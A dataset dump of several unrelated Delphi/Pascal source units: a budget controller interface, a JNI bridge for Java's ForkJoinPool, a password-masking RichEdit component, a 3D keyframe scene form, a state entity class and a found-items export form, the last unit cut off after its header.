text stringlengths 14 6.51M |
|---|
unit Orcamento.Controller.interf;
interface
uses TESTORCAMENTOITENS.Entidade.Model, Generics.Collections, Orcamento.Model.Interf,
OrcamentoItens.Model.Interf, TESTORCAMENTO.Entidade.Model, OrcamentoFornecedores.Model.Interf;
type
TOrcamentoItens = record
codigo: string;
qtde: Double;
end;
TOrcamentoFornecedores = record
codigo: string;
end;
IOrcamentoOperacaoIncluirController = interface;
IOrcamentoOperacaoAlterarController = interface;
IOrcamentoOperacaoExcluirController = interface;
IOrcamentoOperacaoDuplicarController = interface;
IOrcamentoController = interface
['{DFFA9AF3-6D9A-4ED7-A4DA-C648BE423D37}']
function Incluir: IOrcamentoOperacaoIncluirController;
function Alterar: IOrcamentoOperacaoAlterarController;
function Excluir: IOrcamentoOperacaoExcluirController;
function Duplicar: IOrcamentoOperacaoDuplicarController;
function localizar(AValue: string): IOrcamentoController;
function idOrcamento: string;
function descricao: string;
function itens: TList<TOrcamentoItens>;
procedure AddItem(AValue: TOrcamentoItens);
function fornecedores: TList<TOrcamentoFornecedores>;
procedure AddFornecedor(AValue: TOrcamentoFornecedores);
procedure removerTodosOsItens;
procedure removerTodosOsFornecedores;
end;
IOrcamentoOperacaoIncluirController = interface
['{83D617C7-833C-49A9-916D-C1ECF73C3F75}']
function orcamentoModel(AValue: IOrcamentoModel): IOrcamentoOperacaoIncluirController;
function orcamentoItensModel(AValue: IOrcamentoItensModel): IOrcamentoOperacaoIncluirController;
function orcamentoFornecedoresModel(AValue: IOrcamentoFornecedoresModel): IOrcamentoOperacaoIncluirController;
function descricao(AValue: string): IOrcamentoOperacaoIncluirController;
function itens(AValue: TList<TOrcamentoItens>): IOrcamentoOperacaoIncluirController;
function fornecedores(AValue: TList<TOrcamentoFornecedores>): IOrcamentoOperacaoIncluirController;
procedure finalizar;
end;
IOrcamentoOperacaoAlterarController = interface
['{88400D99-E02B-4FE7-BE4F-E2C3062FA4CE}']
function orcamentoModel(AValue: IOrcamentoModel): IOrcamentoOperacaoAlterarController;
function orcamentoItensModel(AValue: IOrcamentoItensModel): IOrcamentoOperacaoAlterarController;
function orcamentoFornecedoresModel(AValue: IOrcamentoFornecedoresModel): IOrcamentoOperacaoAlterarController;
function orcamentoSelecionado(AValue: TTESTORCAMENTO): IOrcamentoOperacaoAlterarController;
function descricao(AValue: string): IOrcamentoOperacaoAlterarController;
function itens(AValue: TList<TOrcamentoItens>): IOrcamentoOperacaoAlterarController;
function fornecedores(AValue: TList<TOrcamentoFornecedores>): IOrcamentoOperacaoAlterarController;
procedure finalizar;
end;
IOrcamentoOperacaoExcluirController = interface
['{0F9E14BA-EE3D-4E57-8247-6EB02FD15996}']
function orcamentoModel(AValue: IOrcamentoModel): IOrcamentoOperacaoExcluirController;
function orcamentoItensModel(AValue: IOrcamentoItensModel): IOrcamentoOperacaoExcluirController;
function orcamentoSelecionado(AValue: TTESTORCAMENTO): IOrcamentoOperacaoExcluirController;
procedure finalizar;
end;
IOrcamentoOperacaoDuplicarController = interface
['{B14AE514-4A2F-454F-9298-DEA1B82F421E}']
function orcamentoModel(AValue: IOrcamentoModel): IOrcamentoOperacaoDuplicarController;
function orcamentoItensModel(AValue: IOrcamentoItensModel): IOrcamentoOperacaoDuplicarController;
function orcamentoFornecedoresModel(AValue: IOrcamentoFornecedoresModel): IOrcamentoOperacaoDuplicarController;
function descricao(AValue: string): IOrcamentoOperacaoDuplicarController;
function itens(AValue: TList<TOrcamentoItens>): IOrcamentoOperacaoDuplicarController;
function fornecedores(AValue: TList<TOrcamentoFornecedores>): IOrcamentoOperacaoDuplicarController;
procedure finalizar;
end;
implementation
end.
|
//
// Generated by JavaToPas v1.5 20180804 - 083300
////////////////////////////////////////////////////////////////////////////////
unit java.util.concurrent.ForkJoinPool;
interface
uses
AndroidAPI.JNIBridge,
Androidapi.JNI.JavaTypes,
java.util.concurrent.Callable,
java.util.concurrent.TimeUnit,
java.util.concurrent.ForkJoinPool_ManagedBlocker,
java.util.concurrent.RunnableFuture;
type
JForkJoinWorkerThread = interface; // merged
JForkJoinTask = interface; // merged
JForkJoinPool_ForkJoinWorkerThreadFactory = interface; // merged
JForkJoinPool = interface;
JForkJoinPoolClass = interface(JObjectClass)
['{DE2FA81A-BE34-4A01-8ADF-7D01D512F6D5}']
function _GetdefaultForkJoinWorkerThreadFactory : JForkJoinPool_ForkJoinWorkerThreadFactory; cdecl;// A: $19
function awaitQuiescence(timeout : Int64; &unit : JTimeUnit) : boolean; cdecl;// (JLjava/util/concurrent/TimeUnit;)Z A: $1
function awaitTermination(timeout : Int64; &unit : JTimeUnit) : boolean; cdecl;// (JLjava/util/concurrent/TimeUnit;)Z A: $1
function commonPool : JForkJoinPool; cdecl; // ()Ljava/util/concurrent/ForkJoinPool; A: $9
function getActiveThreadCount : Integer; cdecl; // ()I A: $1
function getAsyncMode : boolean; cdecl; // ()Z A: $1
function getCommonPoolParallelism : Integer; cdecl; // ()I A: $9
function getFactory : JForkJoinPool_ForkJoinWorkerThreadFactory; cdecl; // ()Ljava/util/concurrent/ForkJoinPool$ForkJoinWorkerThreadFactory; A: $1
function getParallelism : Integer; cdecl; // ()I A: $1
function getPoolSize : Integer; cdecl; // ()I A: $1
function getQueuedSubmissionCount : Integer; cdecl; // ()I A: $1
function getQueuedTaskCount : Int64; cdecl; // ()J A: $1
function getRunningThreadCount : Integer; cdecl; // ()I A: $1
function getStealCount : Int64; cdecl; // ()J A: $1
function getUncaughtExceptionHandler : JThread_UncaughtExceptionHandler; cdecl;// ()Ljava/lang/Thread$UncaughtExceptionHandler; A: $1
function hasQueuedSubmissions : boolean; cdecl; // ()Z A: $1
function init : JForkJoinPool; cdecl; overload; // ()V A: $1
function init(parallelism : Integer) : JForkJoinPool; cdecl; overload; // (I)V A: $1
function init(parallelism : Integer; factory : JForkJoinPool_ForkJoinWorkerThreadFactory; handler : JThread_UncaughtExceptionHandler; asyncMode : boolean) : JForkJoinPool; cdecl; overload;// (ILjava/util/concurrent/ForkJoinPool$ForkJoinWorkerThreadFactory;Ljava/lang/Thread$UncaughtExceptionHandler;Z)V A: $1
function invoke(task : JForkJoinTask) : JObject; cdecl; // (Ljava/util/concurrent/ForkJoinTask;)Ljava/lang/Object; A: $1
function invokeAll(tasks : JCollection) : JList; cdecl; // (Ljava/util/Collection;)Ljava/util/List; A: $1
function isQuiescent : boolean; cdecl; // ()Z A: $1
function isShutdown : boolean; cdecl; // ()Z A: $1
function isTerminated : boolean; cdecl; // ()Z A: $1
function isTerminating : boolean; cdecl; // ()Z A: $1
function shutdownNow : JList; cdecl; // ()Ljava/util/List; A: $1
function submit(task : JCallable) : JForkJoinTask; cdecl; overload; // (Ljava/util/concurrent/Callable;)Ljava/util/concurrent/ForkJoinTask; A: $1
function submit(task : JForkJoinTask) : JForkJoinTask; cdecl; overload; // (Ljava/util/concurrent/ForkJoinTask;)Ljava/util/concurrent/ForkJoinTask; A: $1
function submit(task : JRunnable) : JForkJoinTask; cdecl; overload; // (Ljava/lang/Runnable;)Ljava/util/concurrent/ForkJoinTask; A: $1
function submit(task : JRunnable; result : JObject) : JForkJoinTask; cdecl; overload;// (Ljava/lang/Runnable;Ljava/lang/Object;)Ljava/util/concurrent/ForkJoinTask; A: $1
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
procedure execute(task : JForkJoinTask) ; cdecl; overload; // (Ljava/util/concurrent/ForkJoinTask;)V A: $1
procedure execute(task : JRunnable) ; cdecl; overload; // (Ljava/lang/Runnable;)V A: $1
procedure managedBlock(blocker : JForkJoinPool_ManagedBlocker) ; cdecl; // (Ljava/util/concurrent/ForkJoinPool$ManagedBlocker;)V A: $9
procedure shutdown ; cdecl; // ()V A: $1
property defaultForkJoinWorkerThreadFactory : JForkJoinPool_ForkJoinWorkerThreadFactory read _GetdefaultForkJoinWorkerThreadFactory;// Ljava/util/concurrent/ForkJoinPool$ForkJoinWorkerThreadFactory; A: $19
end;
[JavaSignature('java/util/concurrent/ForkJoinPool$ManagedBlocker')]
JForkJoinPool = interface(JObject)
['{DE155277-98CD-4C0E-A4BD-58D5B3973833}']
function awaitQuiescence(timeout : Int64; &unit : JTimeUnit) : boolean; cdecl;// (JLjava/util/concurrent/TimeUnit;)Z A: $1
function awaitTermination(timeout : Int64; &unit : JTimeUnit) : boolean; cdecl;// (JLjava/util/concurrent/TimeUnit;)Z A: $1
function getActiveThreadCount : Integer; cdecl; // ()I A: $1
function getAsyncMode : boolean; cdecl; // ()Z A: $1
function getFactory : JForkJoinPool_ForkJoinWorkerThreadFactory; cdecl; // ()Ljava/util/concurrent/ForkJoinPool$ForkJoinWorkerThreadFactory; A: $1
function getParallelism : Integer; cdecl; // ()I A: $1
function getPoolSize : Integer; cdecl; // ()I A: $1
function getQueuedSubmissionCount : Integer; cdecl; // ()I A: $1
function getQueuedTaskCount : Int64; cdecl; // ()J A: $1
function getRunningThreadCount : Integer; cdecl; // ()I A: $1
function getStealCount : Int64; cdecl; // ()J A: $1
function getUncaughtExceptionHandler : JThread_UncaughtExceptionHandler; cdecl;// ()Ljava/lang/Thread$UncaughtExceptionHandler; A: $1
function hasQueuedSubmissions : boolean; cdecl; // ()Z A: $1
function invoke(task : JForkJoinTask) : JObject; cdecl; // (Ljava/util/concurrent/ForkJoinTask;)Ljava/lang/Object; A: $1
function invokeAll(tasks : JCollection) : JList; cdecl; // (Ljava/util/Collection;)Ljava/util/List; A: $1
function isQuiescent : boolean; cdecl; // ()Z A: $1
function isShutdown : boolean; cdecl; // ()Z A: $1
function isTerminated : boolean; cdecl; // ()Z A: $1
function isTerminating : boolean; cdecl; // ()Z A: $1
function shutdownNow : JList; cdecl; // ()Ljava/util/List; A: $1
function submit(task : JCallable) : JForkJoinTask; cdecl; overload; // (Ljava/util/concurrent/Callable;)Ljava/util/concurrent/ForkJoinTask; A: $1
function submit(task : JForkJoinTask) : JForkJoinTask; cdecl; overload; // (Ljava/util/concurrent/ForkJoinTask;)Ljava/util/concurrent/ForkJoinTask; A: $1
function submit(task : JRunnable) : JForkJoinTask; cdecl; overload; // (Ljava/lang/Runnable;)Ljava/util/concurrent/ForkJoinTask; A: $1
function submit(task : JRunnable; result : JObject) : JForkJoinTask; cdecl; overload;// (Ljava/lang/Runnable;Ljava/lang/Object;)Ljava/util/concurrent/ForkJoinTask; A: $1
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
procedure execute(task : JForkJoinTask) ; cdecl; overload; // (Ljava/util/concurrent/ForkJoinTask;)V A: $1
procedure execute(task : JRunnable) ; cdecl; overload; // (Ljava/lang/Runnable;)V A: $1
procedure shutdown ; cdecl; // ()V A: $1
end;
TJForkJoinPool = class(TJavaGenericImport<JForkJoinPoolClass, JForkJoinPool>)
end;
// Merged from: .\java.util.concurrent.ForkJoinPool_ForkJoinWorkerThreadFactory.pas
JForkJoinPool_ForkJoinWorkerThreadFactoryClass = interface(JObjectClass)
['{B69AB8C4-B0FA-40D8-8A28-0D410BE3F4CA}']
function newThread(JForkJoinPoolparam0 : JForkJoinPool) : JForkJoinWorkerThread; cdecl;// (Ljava/util/concurrent/ForkJoinPool;)Ljava/util/concurrent/ForkJoinWorkerThread; A: $401
end;
[JavaSignature('java/util/concurrent/ForkJoinPool_ForkJoinWorkerThreadFactory')]
JForkJoinPool_ForkJoinWorkerThreadFactory = interface(JObject)
['{C3A54744-90A1-4A30-919D-7AF156DDB1D6}']
function newThread(JForkJoinPoolparam0 : JForkJoinPool) : JForkJoinWorkerThread; cdecl;// (Ljava/util/concurrent/ForkJoinPool;)Ljava/util/concurrent/ForkJoinWorkerThread; A: $401
end;
TJForkJoinPool_ForkJoinWorkerThreadFactory = class(TJavaGenericImport<JForkJoinPool_ForkJoinWorkerThreadFactoryClass, JForkJoinPool_ForkJoinWorkerThreadFactory>)
end;
// Merged from: .\java.util.concurrent.ForkJoinTask.pas
JForkJoinTaskClass = interface(JObjectClass)
['{7A8E908C-AAB1-4256-A2B8-E8EF78A2E69F}']
function adapt(callable : JCallable) : JForkJoinTask; cdecl; overload; // (Ljava/util/concurrent/Callable;)Ljava/util/concurrent/ForkJoinTask; A: $9
function adapt(runnable : JRunnable) : JForkJoinTask; cdecl; overload; // (Ljava/lang/Runnable;)Ljava/util/concurrent/ForkJoinTask; A: $9
function adapt(runnable : JRunnable; result : JObject) : JForkJoinTask; cdecl; overload;// (Ljava/lang/Runnable;Ljava/lang/Object;)Ljava/util/concurrent/ForkJoinTask; A: $9
function cancel(mayInterruptIfRunning : boolean) : boolean; cdecl; // (Z)Z A: $1
function compareAndSetForkJoinTaskTag(expect : SmallInt; update : SmallInt) : boolean; cdecl;// (SS)Z A: $11
function fork : JForkJoinTask; cdecl; // ()Ljava/util/concurrent/ForkJoinTask; A: $11
function get : JObject; cdecl; overload; // ()Ljava/lang/Object; A: $11
function get(timeout : Int64; &unit : JTimeUnit) : JObject; cdecl; overload;// (JLjava/util/concurrent/TimeUnit;)Ljava/lang/Object; A: $11
function getException : JThrowable; cdecl; // ()Ljava/lang/Throwable; A: $11
function getForkJoinTaskTag : SmallInt; cdecl; // ()S A: $11
function getPool : JForkJoinPool; cdecl; // ()Ljava/util/concurrent/ForkJoinPool; A: $9
function getQueuedTaskCount : Integer; cdecl; // ()I A: $9
function getRawResult : JObject; cdecl; // ()Ljava/lang/Object; A: $401
function getSurplusQueuedTaskCount : Integer; cdecl; // ()I A: $9
function inForkJoinPool : boolean; cdecl; // ()Z A: $9
function init : JForkJoinTask; cdecl; // ()V A: $1
function invoke : JObject; cdecl; // ()Ljava/lang/Object; A: $11
function invokeAll(tasks : JCollection) : JCollection; cdecl; overload; // (Ljava/util/Collection;)Ljava/util/Collection; A: $9
function isCancelled : boolean; cdecl; // ()Z A: $11
function isCompletedAbnormally : boolean; cdecl; // ()Z A: $11
function isCompletedNormally : boolean; cdecl; // ()Z A: $11
function isDone : boolean; cdecl; // ()Z A: $11
function join : JObject; cdecl; // ()Ljava/lang/Object; A: $11
function setForkJoinTaskTag(newValue : SmallInt) : SmallInt; cdecl; // (S)S A: $11
function tryUnfork : boolean; cdecl; // ()Z A: $1
procedure complete(value : JObject) ; cdecl; // (Ljava/lang/Object;)V A: $1
procedure completeExceptionally(ex : JThrowable) ; cdecl; // (Ljava/lang/Throwable;)V A: $1
procedure helpQuiesce ; cdecl; // ()V A: $9
procedure invokeAll(t1 : JForkJoinTask; t2 : JForkJoinTask) ; cdecl; overload;// (Ljava/util/concurrent/ForkJoinTask;Ljava/util/concurrent/ForkJoinTask;)V A: $9
procedure invokeAll(tasks : TJavaArray<JForkJoinTask>) ; cdecl; overload; // ([Ljava/util/concurrent/ForkJoinTask;)V A: $89
procedure quietlyComplete ; cdecl; // ()V A: $11
procedure quietlyInvoke ; cdecl; // ()V A: $11
procedure quietlyJoin ; cdecl; // ()V A: $11
procedure reinitialize ; cdecl; // ()V A: $1
end;
[JavaSignature('java/util/concurrent/ForkJoinTask')]
JForkJoinTask = interface(JObject)
['{4B0B08B8-E819-4E61-B133-CEF57864113B}']
function cancel(mayInterruptIfRunning : boolean) : boolean; cdecl; // (Z)Z A: $1
function getRawResult : JObject; cdecl; // ()Ljava/lang/Object; A: $401
function tryUnfork : boolean; cdecl; // ()Z A: $1
procedure complete(value : JObject) ; cdecl; // (Ljava/lang/Object;)V A: $1
procedure completeExceptionally(ex : JThrowable) ; cdecl; // (Ljava/lang/Throwable;)V A: $1
procedure reinitialize ; cdecl; // ()V A: $1
end;
TJForkJoinTask = class(TJavaGenericImport<JForkJoinTaskClass, JForkJoinTask>)
end;
// Merged from: .\java.util.concurrent.ForkJoinWorkerThread.pas
JForkJoinWorkerThreadClass = interface(JObjectClass)
['{8DFE8D65-5C39-4B8E-A32B-289E8DF8CB48}']
function getPool : JForkJoinPool; cdecl; // ()Ljava/util/concurrent/ForkJoinPool; A: $1
function getPoolIndex : Integer; cdecl; // ()I A: $1
procedure run ; cdecl; // ()V A: $1
end;
[JavaSignature('java/util/concurrent/ForkJoinWorkerThread')]
JForkJoinWorkerThread = interface(JObject)
['{4850B4DF-57CE-47E8-BF49-BB2AE4EDD002}']
function getPool : JForkJoinPool; cdecl; // ()Ljava/util/concurrent/ForkJoinPool; A: $1
function getPoolIndex : Integer; cdecl; // ()I A: $1
procedure run ; cdecl; // ()V A: $1
end;
TJForkJoinWorkerThread = class(TJavaGenericImport<JForkJoinWorkerThreadClass, JForkJoinWorkerThread>)
end;
implementation
end.
|
unit PasswordRichEdit;
// Description: Password Richedit
// By Sarah Dean
// Email: sdean12@sdean12.org
// WWW: http://www.SDean12.org/
//
// -----------------------------------------------------------------------------
//
// This control exposes the "PasswordChar" property of TRichEdit
interface
uses
Windows, Messages, Classes,
StdCtrls,
ComCtrls; // Required for definition of TRichEdit
type
TPasswordRichEdit = class(TRichEdit)
published
property Align;
property Alignment;
property Anchors;
property BiDiMode;
property BorderStyle;
property BorderWidth;
property Color;
property Ctl3D;
property DragCursor;
property DragKind;
property DragMode;
property Enabled;
property Font;
property HideSelection;
property HideScrollBars;
property ImeMode;
property ImeName;
property Constraints;
property Lines;
property MaxLength;
property ParentBiDiMode;
property ParentColor;
property ParentCtl3D;
property ParentFont;
property ParentShowHint;
property PasswordChar; // <-- This is the change!
property PlainText;
property PopupMenu;
property ReadOnly;
property ScrollBars;
property ShowHint;
property TabOrder;
property TabStop default True;
property Visible;
property WantTabs;
property WantReturns;
property WordWrap;
property OnChange;
property OnContextPopup;
property OnDragDrop;
property OnDragOver;
property OnEndDock;
property OnEndDrag;
property OnEnter;
property OnExit;
property OnKeyDown;
property OnKeyPress;
property OnKeyUp;
property OnMouseDown;
property OnMouseMove;
property OnMouseUp;
property OnMouseWheel;
property OnMouseWheelDown;
property OnMouseWheelUp;
property OnProtectChange;
property OnResizeRequest;
property OnSaveClipboard;
property OnSelectionChange;
property OnStartDock;
property OnStartDrag;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('SDeanSecurity', [TPasswordRichEdit]);
end;
END.
|
unit u_cscene;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComCtrls, J_Level, Prender, u_pj3dos, U_pjkey,ResourcePicker,
CommCtrl, u_templates, values, u_Preview, Buttons, ExtCtrls;
type
TKeyForm = class(TForm)
LVThings: TListView;
EBTime: TEdit;
Label1: TLabel;
BNKey: TButton;
BNShow: TButton;
PBScene: TPaintBox;
TrackBar1: TTrackBar;
BNPlay: TBitBtn;
procedure LVThingsChange(Sender: TObject; Item: TListItem;
Change: TItemChange);
procedure EBTimeChange(Sender: TObject);
procedure BNKeyClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure BNShowClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
Procedure ShowKeyDialog;
end;
var
KeyForm: TKeyForm;
implementation
{$R *.DFM}
Procedure TKeyForm.ShowKeyDialog;
var i:integer;
li:TListItem;
begin
LVThings.Items.BeginUpdate;
try
LVThings.Items.Clear;
for i:=0 to Level.things.count-1 do
begin
li:=LVThings.Items.Add;
li.Caption:=IntToStr(i);
li.SubItems.Add(level.things[i].name);
li.SubItems.Add('');
li.SubItems.Add('0');
end;
finally
LVThings.Items.EndUpdate;
Preview3D.ShowPreview;
Show;
end;
end;
procedure TKeyForm.LVThingsChange(Sender: TObject; Item: TListItem;
Change: TItemChange);
begin
if Item.SubItems.COunt<3 then exit;
EBTime.Text:=Item.Subitems[2];
end;
procedure TKeyForm.EBTimeChange(Sender: TObject);
var i,a:integer;
begin
if LVThings.ItemFocused=nil then exit;
Val(EBTime.Text,i,a);
if a=0 then LVThings.ItemFocused.SubItems[2]:=IntToStr(i);
end;
procedure TKeyForm.BNKeyClick(Sender: TObject);
var li:TListItem;
begin
li:=LVThings.ItemFocused;
if li=nil then exit;
li.SubItems[1]:=ResPicker.PickKEY(li.SubItems[1]);
{ if li.Data<>nil then TKeyFile(li.Data).Destroy;
li.Data:=nil;
li.Data:=TKeyFile.CreateFromKEY(li.SubItems[1]);}
end;
procedure TKeyForm.FormCreate(Sender: TObject);
var
Styles: DWORD;
const
LVM_SETEXTENDEDLISTVIEWSTYLE = LVM_FIRST + 54;
LVM_GETEXTENDEDLISTVIEWSTYLE = LVM_FIRST + 55;
LVS_EX_FULLROWSELECT = $00000020;
begin
Styles:=LVThings.Perform(LVM_GETEXTENDEDLISTVIEWSTYLE, 0, 0);
LVThings.Perform(LVM_SETEXTENDEDLISTVIEWSTYLE, 0, Styles or LVS_EX_FULLROWSELECT);
end;
procedure TKeyForm.BNShowClick(Sender: TObject);
var i:integer;
a3DO,a3DO1:TPJ3DO;
th:TJKThing;
itpl:integer;
tval:TTPLValue;
li:TListItem;
kf:TKeyFile;
begin
a3Do:=nil;
for i:=0 to LVThings.Items.Count-1 do
begin
li:=LVThings.Items[i];
if li.SubItems[1]='' then continue;
th:=Level.Things[i];
itpl:=Templates.IndexOfName(th.name);
if itpl=-1 then continue;
tval:=Templates.GetTPLField(th.name,'model3d');
if tval=nil then a3Do:=nil else a3Do1:=Load3DO(tval.AsString);
Free3DO(a3DO);
a3DO:=a3DO1;
if li.SubItems[1]<>'' then
begin
kf:=TKeyFile.CreateFromKEY(li.SubItems[1]);
kf.ApplyKey(a3DO,StrToInt(li.SubItems[2]));
kf.free;
end;
Preview3D.SetThing3DO(th,a3do);
end;
Preview3D.Invalidate;
end;
end.
|
unit UEstado;
interface
uses UPais;
type
TEstado = class (TObject)
private
protected
FIdEstado:Integer;
FEstado:String;
FSigla:String;
FDDD:String;
FPais:TPais;
FDataCadastro:String;
FDataAlteracao:String;
public
//Construtores e Destrutore
constructor Create;
destructor Destroy;
//Procedimentos da classe Pais
procedure setIdEstado(vIdEstado:Integer);
procedure setEstado(vEstado:String);
procedure setSigla(vSigla:String);
procedure setDDD(vDDD:String);
procedure setPais(vPais:TPais);
procedure setDataCadastro(vDataCadastro:String);
procedure setDataAlteracao(vDataAlteracao:String);
//Funçoes da classe Pais
function getIdEstado:Integer;
function getEstado:String;
function getSigla:String;
function getDDD:String;
function getPais:TPais;
function getDataCadastro:String;
function getDataAlteracao:String;
//Property the Substitute os Get and Set
property IdEstado:Integer read getIdEstado write setIdEstado;
property Estado:String read getEstado write setEstado;
property Sigla:String read getSigla write setSigla;
property DDD:String read getDDD write setDDD;
property Pais:TPais read getPais write setPais;
property DataCadastro:String read getDataCadastro write setDataCadastro;
property DataAlteracao:String read getDataAlteracao write setDataAlteracao;
end;
implementation
{ TEstado }
constructor TEstado.Create;
begin
FIdEstado:=0;
FEstado:='';
FSigla:='';
FDDD:='';
FPais:=TPais.Create;
FDataCadastro:='';
FDataAlteracao:='';
end;
destructor TEstado.Destroy;
begin
FPais.Destroy;
end;
function TEstado.getDataAlteracao: String;
begin
Result:=FDataAlteracao;
end;
function TEstado.getDataCadastro: String;
begin
Result:=FDataCadastro;
end;
function TEstado.getDDD: String;
begin
Result:=FDDD;
end;
function TEstado.getEstado: String;
begin
Result:=FEstado;
end;
function TEstado.getIdEstado: Integer;
begin
Result:=FIdEstado;
end;
function TEstado.getPais: TPais;
begin
Result:=FPais;
end;
function TEstado.getSigla: String;
begin
Result:=FSigla;
end;
procedure TEstado.setDataAlteracao(vDataAlteracao: String);
begin
FDataAlteracao:=vDataAlteracao;
end;
procedure TEstado.setDataCadastro(vDataCadastro: String);
begin
FDataCadastro:=vDataCadastro;
end;
procedure TEstado.setDDD(vDDD: String);
begin
FDDD:=vDDD;
end;
procedure TEstado.setEstado(vEstado: String);
begin
FEstado:=vEstado;
end;
procedure TEstado.setIdEstado(vIdEstado: Integer);
begin
FIdEstado:=vIdEstado;
end;
procedure TEstado.setPais(vPais: TPais);
begin
FPais:=vPais;
end;
procedure TEstado.setSigla(vSigla: String);
begin
FSigla:=vSigla;
end;
end.
|
unit FFoundExport;
(*====================================================================
Progress window for exporting found items to text format, implements
the export in the Run procedure
======================================================================*)
interface
uses
{$ifdef mswindows}
WinTypes,WinProcs,
{$ELSE}
LCLIntf, LCLType, LMessages,
{$ENDIF}
Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,
UApiTypes, UStringList;
type
TFormFoundExport = class(TForm)
ButtonCancel: TButton;
LabelWhatDoing: TLabel;
SaveDialogExportToText: TSaveDialog;
OpenDialogExportFormat: TOpenDialog;
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure ButtonCancelClick(Sender: TObject);
private
bCanRun : boolean;
public
bStopIt : boolean;
// these variables to be set from outside
DBaseHandle : PDBaseHandle;
IsFileFoundList: boolean;
///FoundList : TQStringList;
FoundList : TStringList;
DBaseFileName : ShortString;
procedure Run(var Info); message WM_User;
procedure UpdateProgress;
end;
var
FormFoundExport: TFormFoundExport;
implementation
uses UApi, UExport, ULang, UExceptions, FDiskPrintSelect, FSettings,
UBaseUtils, FFoundFile, FFoundEmpty;
{$R *.dfm}
//---TFormDiskExport-----------------------------------------------------------
procedure TFormFoundExport.FormCreate(Sender: TObject);
begin
bCanRun := false;
OpenDialogExportFormat.InitialDir := ExtractFilePath(ParamStr(0)) + lsExportFolder;
SaveDialogExportToText.InitialDir := ExtractFilePath(ParamStr(0)) + lsExportFolder;
end;
//-----------------------------------------------------------------------------
procedure TFormFoundExport.FormShow(Sender: TObject);
begin
bStopIt := false;
bCanRun := true;
LabelWhatDoing.Caption := lsPreparingToExport;
// executes the Run procedure after the window is shown
PostMessage(Self.Handle, WM_User, 0, 0);
end;
//-----------------------------------------------------------------------------
procedure TFormFoundExport.Run (var Info);
var
MsgText : array[0..256] of char;
OneFLine: TOneFLine;
OneELine: TOneELine;
Index : integer;
Counter : integer;
iResult : integer;
ExportOnlySelected: boolean;
begin
if not bCanRun then exit;
bCanRun := false;
bStopIt := false;
FormSettings.UpdateGlobalFormatSettings;
try
// check if there are more files selected
Counter := 0;
ExportOnlySelected := false;
for Index := 0 to FoundList.Count-1 do
begin
OneFLine := TOneFLine(FoundList.Objects[Index]);
if (OneFLine.ExtAttr and eaSelected) <> 0 then inc(Counter);
end;
// if so, ask the user
if Counter > 0 then
begin
iResult := Application.MessageBox(lsExportOnlySelected,
lsMultipleItemsSelected, MB_YESNOCANCEL);
if iResult = IDCANCEL then
begin
ModalResult := mrCancel;
exit;
end;
ExportOnlySelected := iResult = IDYES;
end;
if IsFileFoundList
then OpenDialogExportFormat.Filter := lsFilterFileList
else OpenDialogExportFormat.Filter := lsFilterEmptyList;
if not OpenDialogExportFormat.Execute then
begin
ModalResult := mrCancel;
exit;
end;
OpenDialogExportFormat.InitialDir := ExtractFilePath(OpenDialogExportFormat.FileName);
DBaseExport.Init(OpenDialogExportFormat.FileName, DBaseHandle);
if (not DBaseExport.bFormatVerified) then
begin
NormalErrorMessage(lsNotValidFormatFile);
ModalResult := mrCancel;
exit;
end;
SaveDialogExportToText.DefaultExt := DBaseExport.sDefaultExt;
if DBaseExport.sFileFilter <> ''
then SaveDialogExportToText.Filter := DBaseExport.sFileFilter + '|' + lsDefaultFilter
else SaveDialogExportToText.Filter := lsDefaultFilter;
if not SaveDialogExportToText.Execute then
begin
ModalResult := mrCancel;
exit;
end;
SaveDialogExportToText.InitialDir := ExtractFilePath(SaveDialogExportToText.FileName);
DBaseExport.OpenOutputFile(SaveDialogExportToText.FileName);
gDatabaseData.sDatabaseName := ExtractFileName(DBaseFileName);
gDatabaseData.sDatabasePath := ExtractFilePath(DBaseFileName);
DBaseExport.OnDatabaseBegin;
if IsFileFoundList then
begin
for Index := 0 to FoundList.Count-1 do
begin
OneFLine := TOneFLine(FoundList.Objects[Index]);
if ExportOnlySelected and ((OneFLine.ExtAttr and eaSelected) <> 0) or
not ExportOnlySelected then
begin
gFolderData.sFolderName := GetPQString(OneFLine.Dir);
gDiskData.sDiskName := GetPQString(OneFLine.Disk);
DBaseExport.WriteOneFile(OneFLine.POneFile);
end;
Application.ProcessMessages;
if bStopIt then break;
if (Index mod 100) = 0 then UpdateProgress;
end; // for
end
else // it is a disk free list
begin
for Index := 0 to FoundList.Count-1 do
begin
OneELine := TOneELine(FoundList.Objects[Index]);
if ExportOnlySelected and ((OneELine.ExtAttr and eaSelected) <> 0) or
not ExportOnlySelected then
begin
gDiskData.iDiskSizeKb := OneELine.DiskSize;
gDiskData.iDiskFreeKb := OneELine.DiskFree;
gDiskData.sDiskName := GetPQString(OneELine.Disk);
DBaseExport.OnDiskBegin;
end;
Application.ProcessMessages;
if bStopIt then break;
if (Index mod 100) = 0 then UpdateProgress;
end; // for
end;
DBaseExport.OnDatabaseEnd;
DBaseExport.CloseOutputFile;
except
on ENormal: EQDirNormalException do
NormalErrorMessage(ENormal.Message);
on EFatal : EQDirFatalException do
FatalErrorMessage(EFatal.Message);
on E: Exception do Application.MessageBox(StrPCopy(MsgText, E.Message), lsError,
mb_Ok or mb_IconExclamation);
end;
ModalResult := mrOk;
end;
//-----------------------------------------------------------------------------
procedure TFormFoundExport.UpdateProgress;
begin
LabelWhatDoing.Caption := lsProcessed + FormatNumber(DBaseExport.iFileCounter) +
lsFiles_Written + FormatSize(DBaseExport.iWritten, true);
end;
//-----------------------------------------------------------------------------
procedure TFormFoundExport.ButtonCancelClick(Sender: TObject);
begin
bStopIt := true;
end;
//-----------------------------------------------------------------------------
end.
|
{================================================================================
Copyright (C) 1997-2002 Mills Enterprise
Unit : rmTVComboBox
Purpose : TreeView and PathTreeView based ComboBoxes
Date : 02-01-2000
Author : Ryan J. Mills
Version : 1.92
================================================================================}
unit rmTVComboBox;
interface
{$I CompilerDefines.INC}
uses
Windows, Messages, Classes, Controls, ComCtrls, CommCtrl, rmBtnEdit,
